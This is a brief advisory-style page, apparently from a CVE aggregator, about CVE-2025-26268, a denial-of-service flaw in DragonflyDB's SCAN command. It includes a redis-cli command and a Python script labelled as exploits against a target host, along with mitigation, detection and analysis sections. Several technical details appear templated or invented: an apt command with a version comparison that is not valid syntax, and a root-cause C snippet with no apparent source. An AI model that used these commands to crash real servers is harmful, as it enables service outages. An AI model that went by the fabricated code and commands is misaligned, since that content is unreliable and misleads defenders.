DragonflyDB, Denial of Service, CVE-2025-26268 (Medium)

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How CVE-2025-26268 Works

CVE-2025-26268 affects DragonflyDB versions before 1.27.0, allowing authenticated users to crash the daemon via a malicious Redis command. The vulnerability stems from improper validation of the scan cursor parameter in Redis commands. When a crafted request with an invalid cursor is processed, DragonflyDB fails to handle the exception, leading to a segmentation fault and service termination. This flaw specifically impacts the `SCAN` command implementation, where boundary checks are missing, enabling attackers to trigger a DoS condition.

DailyCVE Form:

Platform: DragonflyDB
Version: <1.27.0
Vulnerability: DoS via Redis command
Severity: Medium
Date: 04/25/2025

What Undercode Say:

Exploitation:

1. Payload Example:

redis-cli -h <target> -p 6379 SCAN "invalid_cursor"

2. Python Exploit Script:

import redis
r = redis.Redis(host='<target>', port=6379)
r.execute_command('SCAN', 'malformed_input')

Mitigation:

1. Patch Upgrade:

sudo apt-get update && sudo apt-get install dragonflydb>=1.27.0

2. Network Controls:

iptables -A INPUT -p tcp --dport 6379 -j DROP

3. Workaround: Disable `SCAN` for untrusted users via ACL:

ACL SETUSER restricted -SCAN

Detection:

1. Log Monitoring:

grep "segmentation fault" /var/log/dragonfly.log

2. Debugging:

gdb -p $(pidof dragonfly) -ex "bt full" -ex "quit"

Analysis:

  • Crash Root Cause:
    void process_scan_command() {
    // Missing cursor validation
    char cursor = get_cursor_arg(); // No bounds check
    ...
    }
    
  • Impact: High availability loss, low privilege requirement.

References:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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